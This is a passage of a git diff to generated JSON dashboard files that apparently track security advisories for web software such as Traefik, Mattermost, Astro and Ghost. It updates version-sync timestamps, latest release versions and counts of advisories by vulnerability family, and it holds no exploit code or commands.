"version_sync_status": "source-gap",
"security_version_count": 0
},
@@ -5496,24 +5496,24 @@
"entity_id": "traefik",
"display_name": "Traefik",
"entity_type": "system",
- "latest_version": "2.11.42",
- "latest_release_at": "2026-03-26T09:02:56Z",
+ "latest_version": "3.7.0-ea.3",
+ "latest_release_at": "2026-03-26T11:10:20Z",
"version_sync_status": "green"
},
{
"entity_id": "traefik--repo--github-com-traefik-traefik-v3",
"display_name": "traefik / traefik / v3",
"entity_type": "repo",
- "latest_version": "2.11.42",
- "latest_release_at": "2026-03-26T09:02:56Z",
+ "latest_version": "3.7.0-ea.3",
+ "latest_release_at": "2026-03-26T11:10:20Z",
"version_sync_status": "green"
},
{
"entity_id": "traefik--extension--github-com-traefik-traefik-v3",
"display_name": "traefik / traefik / v3",
"entity_type": "extension",
- "latest_version": "2.11.42",
- "latest_release_at": "2026-03-26T09:02:56Z",
+ "latest_version": "3.7.0-ea.3",
+ "latest_release_at": "2026-03-26T11:10:20Z",
"version_sync_status": "green"
}
]
@@ -5544,8 +5544,8 @@
"repo": 1,
"extension": 1
},
- "latest_version": "2.11.42",
- "last_version_synced_at": "2026-03-26T10:20:27+00:00",
+ "latest_version": "3.7.0-ea.3",
+ "last_version_synced_at": "2026-03-27T09:30:51+00:00",
"version_sync_status": "green",
"security_version_count": 63
},
@@ -5646,7 +5646,7 @@
"project": 1
},
"latest_version": "4.1.0-beta",
- "last_version_synced_at": "2026-03-26T10:20:26+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"version_sync_status": "green",
"security_version_count": 102
},
@@ -5845,7 +5845,7 @@
"extension": 1
},
"latest_version": "8.0.3",
- "last_version_synced_at": "2026-03-26T10:20:27+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:51+00:00",
"version_sync_status": "green",
"security_version_count": 150
},
@@ -5909,18 +5909,18 @@
"system": 1
},
"latest_version": "",
- "last_version_synced_at": "2026-03-26T10:20:25+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"version_sync_status": "source-gap",
"security_version_count": 0
},
{
"system_id": "mattermost",
"display_name": "Mattermost",
- "total": 31,
+ "total": 33,
"verified_real": 0,
"verified_synthetic": 0,
"blocked": 0,
- "manual": 31,
+ "manual": 33,
"browser_required": 0,
"browser_present": 0,
"latest_update": "Fix Release Date",
@@ -5930,9 +5930,9 @@
"families": [
{
"family": "xss",
- "total": 31,
+ "total": 33,
"verified_real": 0,
- "manual": 31
+ "manual": 33
}
],
"entity_summary": {
@@ -5956,6 +5956,14 @@
"plugin": 1
},
"top_entities": [
+ {
+ "entity_id": "mattermost--repo--github-com-mattermost-mattermost-server",
+ "entity_type": "repo",
+ "display_name": "mattermost / mattermost-server",
+ "advisory_count": 14,
+ "history_backfill_status": "seeded",
+ "latest_sync_status": "green"
+ },
{
"entity_id": "mattermost--project--mattermost-server",
"entity_type": "project",
@@ -5964,14 +5972,6 @@
"history_backfill_status": "complete",
"latest_sync_status": "green"
},
- {
- "entity_id": "mattermost--repo--github-com-mattermost-mattermost-server",
- "entity_type": "repo",
- "display_name": "mattermost / mattermost-server",
- "advisory_count": 12,
- "history_backfill_status": "seeded",
- "latest_sync_status": "green"
- },
{
"entity_id": "mattermost--plugin--mattermost-plugins",
"entity_type": "plugin",
@@ -5997,7 +5997,7 @@
"cataloged_entity_total": 5,
"latest_version_synced_count": 5,
"source_gap_count": 0,
- "security_version_count": 3840,
+ "security_version_count": 3848,
"auto_promoted_count": 0,
"latest_versions": [
{
@@ -6008,14 +6008,6 @@
"latest_release_at": "2023-10-03",
"version_sync_status": "green"
},
- {
- "entity_id": "mattermost--project--mattermost-server",
- "display_name": "Mattermost Server",
- "entity_type": "project",
- "latest_version": "26.2.1",
- "latest_release_at": "2023-10-03",
- "version_sync_status": "green"
- },
{
"entity_id": "mattermost--repo--github-com-mattermost-mattermost-server",
"display_name": "mattermost / mattermost-server",
@@ -6024,6 +6016,14 @@
"latest_release_at": "2026-03-16T08:26:52Z",
"version_sync_status": "green"
},
+ {
+ "entity_id": "mattermost--project--mattermost-server",
+ "display_name": "Mattermost Server",
+ "entity_type": "project",
+ "latest_version": "26.2.1",
+ "latest_release_at": "2023-10-03",
+ "version_sync_status": "green"
+ },
{
"entity_id": "mattermost--plugin--mattermost-plugins",
"display_name": "Mattermost Plugins",
@@ -6043,6 +6043,14 @@
]
},
"top_entities": [
+ {
+ "entity_id": "mattermost--repo--github-com-mattermost-mattermost-server",
+ "entity_type": "repo",
+ "display_name": "mattermost / mattermost-server",
+ "advisory_count": 14,
+ "history_backfill_status": "seeded",
+ "latest_sync_status": "green"
+ },
{
"entity_id": "mattermost--project--mattermost-server",
"entity_type": "project",
@@ -6051,14 +6059,6 @@
"history_backfill_status": "complete",
"latest_sync_status": "green"
},
- {
- "entity_id": "mattermost--repo--github-com-mattermost-mattermost-server",
- "entity_type": "repo",
- "display_name": "mattermost / mattermost-server",
- "advisory_count": 12,
- "history_backfill_status": "seeded",
- "latest_sync_status": "green"
- },
{
"entity_id": "mattermost--plugin--mattermost-plugins",
"entity_type": "plugin",
@@ -6086,9 +6086,9 @@
"plugin": 1
},
"latest_version": "26.2.1",
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"version_sync_status": "green",
- "security_version_count": 3840
+ "security_version_count": 3848
},
{
"system_id": "discourse",
@@ -6159,7 +6159,7 @@
"system": 1
},
"latest_version": "2502-05-2023-143713-1.zip",
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"version_sync_status": "green",
"security_version_count": 80
},
@@ -6298,7 +6298,7 @@
"extension": 1
},
"latest_version": "2.11.2",
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"version_sync_status": "green",
"security_version_count": 7
},
@@ -6417,7 +6417,7 @@
"repo": 1
},
"latest_version": "11.17.0",
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"version_sync_status": "green",
"security_version_count": 2
},
@@ -6538,7 +6538,7 @@
"project": 1
},
"latest_version": "4.4.2",
- "last_version_synced_at": "2026-03-26T10:20:25+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"version_sync_status": "green",
"security_version_count": 11
},
@@ -6645,7 +6645,7 @@
"repo": 1
},
"latest_version": "20.16.0",
- "last_version_synced_at": "2026-03-26T10:20:25+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"version_sync_status": "green",
"security_version_count": 0
},
@@ -6752,7 +6752,7 @@
"repo": 1
},
"latest_version": "5.40.0",
- "last_version_synced_at": "2026-03-26T10:20:27+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:51+00:00",
"version_sync_status": "green",
"security_version_count": 0
},
@@ -6865,7 +6865,7 @@
"repo": 1
},
"latest_version": "3.22.44",
- "last_version_synced_at": "2026-03-26T10:20:26+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"version_sync_status": "green",
"security_version_count": 0
},
@@ -6934,16 +6934,16 @@
"entity_id": "ghost",
"display_name": "Ghost",
"entity_type": "system",
- "latest_version": "6.22.1",
- "latest_release_at": "2026-03-20T15:25:05Z",
+ "latest_version": "6.23.0",
+ "latest_release_at": "2026-03-26T15:04:27Z",
"version_sync_status": "green"
},
{
"entity_id": "ghost--repo--tryghost-ghost",
"display_name": "TryGhost / Ghost",
"entity_type": "repo",
- "latest_version": "6.22.1",
- "latest_release_at": "2026-03-20T15:25:05Z",
+ "latest_version": "6.23.0",
+ "latest_release_at": "2026-03-26T15:04:27Z",
"version_sync_status": "green"
}
]
@@ -6965,8 +6965,8 @@
"system": 1,
"repo": 1
},
- "latest_version": "6.22.1",
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "latest_version": "6.23.0",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"version_sync_status": "green",
"security_version_count": 0
},
@@ -7099,7 +7099,7 @@
"extension": 1
},
"latest_version": "7.24.6",
- "last_version_synced_at": "2026-03-26T10:20:27+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:51+00:00",
"version_sync_status": "green",
"security_version_count": 25
},
@@ -7238,10 +7238,167 @@
"project": 2
},
"latest_version": "19.2.4",
- "last_version_synced_at": "2026-03-26T10:20:26+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"version_sync_status": "green",
"security_version_count": 18
},
+ {
+ "system_id": "astro",
+ "display_name": "Astro",
+ "total": 15,
+ "verified_real": 0,
+ "verified_synthetic": 0,
+ "blocked": 0,
+ "manual": 15,
+ "browser_required": 0,
+ "browser_present": 0,
+ "latest_update": "2026-03-26T19:01:26.420643Z",
+ "category": "frameworks",
+ "tier": "rolling-24m",
+ "output_dir": "07-framework-security/frameworks/astro",
+ "families": [
+ {
+ "family": "authz-bypass",
+ "total": 1,
+ "verified_real": 0,
+ "manual": 1
+ },
+ {
+ "family": "file-upload",
+ "total": 2,
+ "verified_real": 0,
+ "manual": 2
+ },
+ {
+ "family": "path-traversal",
+ "total": 1,
+ "verified_real": 0,
+ "manual": 1
+ },
+ {
+ "family": "proxy-boundary",
+ "total": 3,
+ "verified_real": 0,
+ "manual": 3
+ },
+ {
+ "family": "ssrf",
+ "total": 1,
+ "verified_real": 0,
+ "manual": 1
+ },
+ {
+ "family": "xss",
+ "total": 7,
+ "verified_real": 0,
+ "manual": 7
+ }
+ ],
+ "entity_summary": {
+ "system_id": "astro",
+ "display_name": "Astro",
+ "cataloged_entity_total": 3,
+ "child_entity_total": 2,
+ "candidate_entity_total": 0,
+ "workflow_complete_count": 3,
+ "version_mapped_count": 3,
+ "official_source_covered_count": 3,
+ "history_full_complete_count": 3,
+ "latest_green_count": 3,
+ "version_gap_entity_count": 0,
+ "workflow_gap_entity_count": 0,
+ "plugin_total": 1,
+ "entity_type_counts": {
+ "system": 1,
+ "module": 1,
+ "project": 1
+ },
+ "top_entities": [
+ {
+ "entity_id": "astro--project--astro",
+ "entity_type": "project",
+ "display_name": "astro",
+ "advisory_count": 13,
+ "history_backfill_status": "complete",
+ "latest_sync_status": "green"
+ },
+ {
+ "entity_id": "astro--module--astro",
+ "entity_type": "module",
+ "display_name": "astro",
+ "advisory_count": 2,
+ "history_backfill_status": "complete",
+ "latest_sync_status": "green"
+ }
+ ],
+ "backlog_preview": []
+ },
+ "version_summary": {
+ "system_id": "astro",
+ "display_name": "Astro",
+ "cataloged_entity_total": 3,
+ "latest_version_synced_count": 3,
+ "source_gap_count": 0,
+ "security_version_count": 32,
+ "auto_promoted_count": 0,
+ "latest_versions": [
+ {
+ "entity_id": "astro",
+ "display_name": "Astro",
+ "entity_type": "system",
+ "latest_version": "6.1.1",
+ "latest_release_at": "2025-11-20T14:43:59.624508Z",
+ "version_sync_status": "green"
+ },
+ {
+ "entity_id": "astro--project--astro",
+ "display_name": "astro",
+ "entity_type": "project",
+ "latest_version": "6.1.1",
+ "latest_release_at": "2025-11-27T08:22:36.525875Z",
+ "version_sync_status": "green"
+ },
+ {
+ "entity_id": "astro--module--astro",
+ "display_name": "astro",
+ "entity_type": "module",
+ "latest_version": "6.1.1",
+ "latest_release_at": "2025-11-20T14:43:59.624508Z",
+ "version_sync_status": "green"
+ }
+ ]
+ },
+ "top_entities": [
+ {
+ "entity_id": "astro--project--astro",
+ "entity_type": "project",
+ "display_name": "astro",
+ "advisory_count": 13,
+ "history_backfill_status": "complete",
+ "latest_sync_status": "green"
+ },
+ {
+ "entity_id": "astro--module--astro",
+ "entity_type": "module",
+ "display_name": "astro",
+ "advisory_count": 2,
+ "history_backfill_status": "complete",
+ "latest_sync_status": "green"
+ }
+ ],
+ "backlog_preview": [],
+ "entity_total": 3,
+ "entity_backlog": 0,
+ "entity_type_counts": {
+ "system": 1,
+ "module": 1,
+ "project": 1
+ },
+ "latest_version": "6.1.1",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
+ "version_sync_status": "green",
+ "security_version_count": 32
+ },
{
"system_id": "medusa",
"display_name": "Medusa",
@@ -7316,7 +7473,7 @@
"system": 1
},
"latest_version": "",
- "last_version_synced_at": "2026-03-26T10:20:25+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"version_sync_status": "source-gap",
"security_version_count": 0
},
@@ -7431,161 +7588,10 @@
"project": 1
},
"latest_version": "3.5.31",
- "last_version_synced_at": "2026-03-26T10:20:27+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:51+00:00",
"version_sync_status": "green",
"security_version_count": 2
},
- {
- "system_id": "astro",
- "display_name": "Astro",
- "total": 14,
- "verified_real": 0,
- "verified_synthetic": 0,
- "blocked": 0,
- "manual": 14,
- "browser_required": 0,
- "browser_present": 0,
- "latest_update": "2026-02-04T03:01:27.986221Z",
- "category": "frameworks",
- "tier": "rolling-24m",
- "output_dir": "07-framework-security/frameworks/astro",
- "families": [
- {
- "family": "authz-bypass",
- "total": 1,
- "verified_real": 0,
- "manual": 1
- },
- {
- "family": "file-upload",
- "total": 2,
- "verified_real": 0,
- "manual": 2
- },
- {
- "family": "path-traversal",
- "total": 1,
- "verified_real": 0,
- "manual": 1
- },
- {
- "family": "proxy-boundary",
- "total": 3,
- "verified_real": 0,
- "manual": 3
- },
- {
- "family": "xss",
- "total": 7,
- "verified_real": 0,
- "manual": 7
- }
- ],
- "entity_summary": {
- "system_id": "astro",
- "display_name": "Astro",
- "cataloged_entity_total": 3,
- "child_entity_total": 2,
- "candidate_entity_total": 0,
- "workflow_complete_count": 3,
- "version_mapped_count": 3,
- "official_source_covered_count": 3,
- "history_full_complete_count": 3,
- "latest_green_count": 3,
- "version_gap_entity_count": 0,
- "workflow_gap_entity_count": 0,
- "plugin_total": 1,
- "entity_type_counts": {
- "system": 1,
- "module": 1,
- "project": 1
- },
- "top_entities": [
- {
- "entity_id": "astro--project--astro",
- "entity_type": "project",
- "display_name": "astro",
- "advisory_count": 12,
- "history_backfill_status": "complete",
- "latest_sync_status": "green"
- },
- {
- "entity_id": "astro--module--astro",
- "entity_type": "module",
- "display_name": "astro",
- "advisory_count": 2,
- "history_backfill_status": "complete",
- "latest_sync_status": "green"
- }
- ],
- "backlog_preview": []
- },
- "version_summary": {
- "system_id": "astro",
- "display_name": "Astro",
- "cataloged_entity_total": 3,
- "latest_version_synced_count": 3,
- "source_gap_count": 0,
- "security_version_count": 30,
- "auto_promoted_count": 0,
- "latest_versions": [
- {
- "entity_id": "astro",
- "display_name": "Astro",
- "entity_type": "system",
- "latest_version": "6.0.8",
- "latest_release_at": "2025-11-20T14:43:59.624508Z",
- "version_sync_status": "green"
- },
- {
- "entity_id": "astro--project--astro",
- "display_name": "astro",
- "entity_type": "project",
- "latest_version": "6.0.8",
- "latest_release_at": "2025-11-27T08:22:36.525875Z",
- "version_sync_status": "green"
- },
- {
- "entity_id": "astro--module--astro",
- "display_name": "astro",
- "entity_type": "module",
- "latest_version": "6.0.8",
- "latest_release_at": "2025-11-20T14:43:59.624508Z",
- "version_sync_status": "green"
- }
- ]
- },
- "top_entities": [
- {
- "entity_id": "astro--project--astro",
- "entity_type": "project",
- "display_name": "astro",
- "advisory_count": 12,
- "history_backfill_status": "complete",
- "latest_sync_status": "green"
- },
- {
- "entity_id": "astro--module--astro",
- "entity_type": "module",
- "display_name": "astro",
- "advisory_count": 2,
- "history_backfill_status": "complete",
- "latest_sync_status": "green"
- }
- ],
- "backlog_preview": [],
- "entity_total": 3,
- "entity_backlog": 0,
- "entity_type_counts": {
- "system": 1,
- "module": 1,
- "project": 1
- },
- "latest_version": "6.0.8",
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
- "version_sync_status": "green",
- "security_version_count": 30
- },
{
"system_id": "spring-framework",
"display_name": "Spring Framework",
@@ -7658,7 +7664,7 @@
"system": 1
},
"latest_version": "",
- "last_version_synced_at": "2026-03-26T10:20:27+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"version_sync_status": "source-gap",
"security_version_count": 0
},
@@ -7759,7 +7765,7 @@
"package": 1
},
"latest_version": "8.0.7",
- "last_version_synced_at": "2026-03-26T10:20:27+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:51+00:00",
"version_sync_status": "green",
"security_version_count": 220
},
@@ -7823,7 +7829,7 @@
"system": 1
},
"latest_version": "",
- "last_version_synced_at": "2026-03-26T10:20:25+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"version_sync_status": "source-gap",
"security_version_count": 0
},
@@ -7896,7 +7902,7 @@
"system": 1
},
"latest_version": "2.0",
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"version_sync_status": "green",
"security_version_count": 2
},
@@ -8003,7 +8009,7 @@
"project": 1
},
"latest_version": "7.0.4",
- "last_version_synced_at": "2026-03-26T10:20:27+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"version_sync_status": "green",
"security_version_count": 92
},
@@ -8067,7 +8073,7 @@
"system": 1
},
"latest_version": "",
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"version_sync_status": "source-gap",
"security_version_count": 0
},
@@ -8168,7 +8174,7 @@
"package": 1
},
"latest_version": "2.55.0",
- "last_version_synced_at": "2026-03-26T10:20:27+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:51+00:00",
"version_sync_status": "green",
"security_version_count": 4
},
@@ -8232,7 +8238,7 @@
"system": 1
},
"latest_version": "",
- "last_version_synced_at": "2026-03-26T10:20:22+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"version_sync_status": "source-gap",
"security_version_count": 0
},
@@ -8333,7 +8339,7 @@
"package": 1
},
"latest_version": "21.2.6",
- "last_version_synced_at": "2026-03-26T10:20:22+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"version_sync_status": "green",
"security_version_count": 18
},
@@ -8440,7 +8446,7 @@
"repo": 1
},
"latest_version": "5.0.4",
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"version_sync_status": "green",
"security_version_count": 4
},
@@ -8541,7 +8547,7 @@
"project": 1
},
"latest_version": "5.8.4",
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"version_sync_status": "green",
"security_version_count": 4
},
@@ -8642,7 +8648,7 @@
"package": 1
},
"latest_version": "13.2.0",
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"version_sync_status": "green",
"security_version_count": 103
},
@@ -8706,7 +8712,7 @@
"system": 1
},
"latest_version": "",
- "last_version_synced_at": "2026-03-26T10:20:25+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"version_sync_status": "source-gap",
"security_version_count": 0
},
@@ -8813,7 +8819,7 @@
"project": 1
},
"latest_version": "2.2.11.RELEASE",
- "last_version_synced_at": "2026-03-26T10:20:26+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"version_sync_status": "green",
"security_version_count": 22
},
@@ -8914,7 +8920,7 @@
"project": 1
},
"latest_version": "0.27.4",
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"version_sync_status": "green",
"security_version_count": 2
},
@@ -8978,7 +8984,7 @@
"system": 1
},
"latest_version": "",
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"version_sync_status": "source-gap",
"security_version_count": 0
},
@@ -9079,7 +9085,7 @@
"project": 1
},
"latest_version": "0.2.10",
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"version_sync_status": "green",
"security_version_count": 22
},
@@ -9180,7 +9186,7 @@
"repo": 1
},
"latest_version": "1.12.0",
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"version_sync_status": "green",
"security_version_count": 2
},
@@ -9281,7 +9287,7 @@
"package": 1
},
"latest_version": "21.4.7",
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"version_sync_status": "green",
"security_version_count": 4
},
@@ -9382,7 +9388,7 @@
"project": 1
},
"latest_version": "3.1.2",
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"version_sync_status": "green",
"security_version_count": 4
},
@@ -9446,7 +9452,7 @@
"system": 1
},
"latest_version": "",
- "last_version_synced_at": "2026-03-26T10:20:27+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:51+00:00",
"version_sync_status": "source-gap",
"security_version_count": 0
},
@@ -9547,7 +9553,7 @@
"project": 1
},
"latest_version": "0.0.15",
- "last_version_synced_at": "2026-03-26T10:20:27+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:51+00:00",
"version_sync_status": "green",
"security_version_count": 22
}
@@ -9569,7 +9575,7 @@
"version_mapped_count": 52,
"latest_version_synced_count": 95,
"version_source_gap_count": 15,
- "security_version_total": 6297,
+ "security_version_total": 6307,
"lab_enqueued_count": 3
}
}
diff --git a/08-threat-intel/generated/dashboard/systems.json b/08-threat-intel/generated/dashboard/systems.json
index c794aee4..c0a4de82 100644
--- a/08-threat-intel/generated/dashboard/systems.json
+++ b/08-threat-intel/generated/dashboard/systems.json
@@ -68,7 +68,7 @@
"system": 1
},
"latest_version": "51.1.49",
- "last_version_synced_at": "2026-03-26T10:20:27+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:51+00:00",
"version_sync_status": "green",
"security_version_count": 54
},
@@ -177,7 +177,7 @@
"system": 1
},
"latest_version": "11.0-doc",
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"version_sync_status": "green",
"security_version_count": 2
},
@@ -274,7 +274,7 @@
"system": 1
},
"latest_version": "2.4.x",
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"version_sync_status": "green",
"security_version_count": 1
},
@@ -419,7 +419,7 @@
"repo": 1
},
"latest_version": "8.2.5",
- "last_version_synced_at": "2026-03-26T10:20:25+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"version_sync_status": "green",
"security_version_count": 59
},
@@ -520,7 +520,7 @@
"repo": 1
},
"latest_version": "10.6.1",
- "last_version_synced_at": "2026-03-26T10:20:27+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:51+00:00",
"version_sync_status": "green",
"security_version_count": 10
},
@@ -596,7 +596,7 @@
"system": 1
},
"latest_version": "",
- "last_version_synced_at": "2026-03-26T10:20:25+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"version_sync_status": "source-gap",
"security_version_count": 0
},
@@ -669,7 +669,7 @@
"system": 1
},
"latest_version": "1017-20260102-core-xss-vector-in-the-pagebreak-plugin.html",
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"version_sync_status": "green",
"security_version_count": 5
},
@@ -800,7 +800,7 @@
"repo": 1
},
"latest_version": "3.0.5.0",
- "last_version_synced_at": "2026-03-26T10:20:25+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"version_sync_status": "green",
"security_version_count": 4
},
@@ -925,7 +925,7 @@
"repo": 1
},
"latest_version": "2.4.9-beta1",
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"version_sync_status": "green",
"security_version_count": 6
},
@@ -1026,7 +1026,7 @@
"project": 1
},
"latest_version": "1.0.0",
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"version_sync_status": "green",
"security_version_count": 182
},
@@ -1090,7 +1090,7 @@
"system": 1
},
"latest_version": "",
- "last_version_synced_at": "2026-03-26T10:20:22+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"version_sync_status": "source-gap",
"security_version_count": 0
},
@@ -1221,7 +1221,7 @@
"repo": 1
},
"latest_version": "6.7.8.2",
- "last_version_synced_at": "2026-03-26T10:20:26+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"version_sync_status": "green",
"security_version_count": 0
},
@@ -1294,7 +1294,7 @@
"system": 1
},
"latest_version": "11.2.8",
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"version_sync_status": "green",
"security_version_count": 74
},
@@ -1367,7 +1367,7 @@
"system": 1
},
"latest_version": "28-10-2025",
- "last_version_synced_at": "2026-03-26T10:20:25+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"version_sync_status": "green",
"security_version_count": 252
},
@@ -1512,7 +1512,7 @@
"project": 1
},
"latest_version": "16.2.1",
- "last_version_synced_at": "2026-03-26T10:20:25+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"version_sync_status": "green",
"security_version_count": 168
},
@@ -1576,7 +1576,7 @@
"system": 1
},
"latest_version": "",
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"version_sync_status": "source-gap",
"security_version_count": 0
},
@@ -1640,7 +1640,7 @@
"system": 1
},
"latest_version": "",
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"version_sync_status": "source-gap",
"security_version_count": 0
},
@@ -1719,7 +1719,7 @@
"system": 1
},
"latest_version": "2026-4363---incorrect-authorization-issue-in-authorization-caching-impacts-gitlab-ee",
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"version_sync_status": "green",
"security_version_count": 625
},
@@ -1821,7 +1821,7 @@
"system": 1
},
"latest_version": "",
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"version_sync_status": "source-gap",
"security_version_count": 0
},
@@ -1894,7 +1894,7 @@
"system": 1
},
"latest_version": "5.2.3-all-languages.zip",
- "last_version_synced_at": "2026-03-26T10:20:25+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"version_sync_status": "green",
"security_version_count": 0
},
@@ -1967,7 +1967,7 @@
"system": 1
},
"latest_version": "6.1.2",
- "last_version_synced_at": "2026-03-26T10:20:26+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"version_sync_status": "green",
"security_version_count": 0
},
@@ -2031,7 +2031,7 @@
"system": 1
},
"latest_version": "",
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"version_sync_status": "source-gap",
"security_version_count": 0
},
@@ -2121,24 +2121,24 @@
"entity_id": "traefik",
"display_name": "Traefik",
"entity_type": "system",
- "latest_version": "2.11.42",
- "latest_release_at": "2026-03-26T09:02:56Z",
+ "latest_version": "3.7.0-ea.3",
+ "latest_release_at": "2026-03-26T11:10:20Z",
"version_sync_status": "green"
},
{
"entity_id": "traefik--repo--github-com-traefik-traefik-v3",
"display_name": "traefik / traefik / v3",
"entity_type": "repo",
- "latest_version": "2.11.42",
- "latest_release_at": "2026-03-26T09:02:56Z",
+ "latest_version": "3.7.0-ea.3",
+ "latest_release_at": "2026-03-26T11:10:20Z",
"version_sync_status": "green"
},
{
"entity_id": "traefik--extension--github-com-traefik-traefik-v3",
"display_name": "traefik / traefik / v3",
"entity_type": "extension",
- "latest_version": "2.11.42",
- "latest_release_at": "2026-03-26T09:02:56Z",
+ "latest_version": "3.7.0-ea.3",
+ "latest_release_at": "2026-03-26T11:10:20Z",
"version_sync_status": "green"
}
]
@@ -2169,8 +2169,8 @@
"repo": 1,
"extension": 1
},
- "latest_version": "2.11.42",
- "last_version_synced_at": "2026-03-26T10:20:27+00:00",
+ "latest_version": "3.7.0-ea.3",
+ "last_version_synced_at": "2026-03-27T09:30:51+00:00",
"version_sync_status": "green",
"security_version_count": 63
},
@@ -2271,7 +2271,7 @@
"project": 1
},
"latest_version": "4.1.0-beta",
- "last_version_synced_at": "2026-03-26T10:20:26+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"version_sync_status": "green",
"security_version_count": 102
},
@@ -2470,7 +2470,7 @@
"extension": 1
},
"latest_version": "8.0.3",
- "last_version_synced_at": "2026-03-26T10:20:27+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:51+00:00",
"version_sync_status": "green",
"security_version_count": 150
},
@@ -2534,18 +2534,18 @@
"system": 1
},
"latest_version": "",
- "last_version_synced_at": "2026-03-26T10:20:25+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"version_sync_status": "source-gap",
"security_version_count": 0
},
{
"system_id": "mattermost",
"display_name": "Mattermost",
- "total": 31,
+ "total": 33,
"verified_real": 0,
"verified_synthetic": 0,
"blocked": 0,
- "manual": 31,
+ "manual": 33,
"browser_required": 0,
"browser_present": 0,
"latest_update": "Fix Release Date",
@@ -2555,9 +2555,9 @@
"families": [
{
"family": "xss",
- "total": 31,
+ "total": 33,
"verified_real": 0,
- "manual": 31
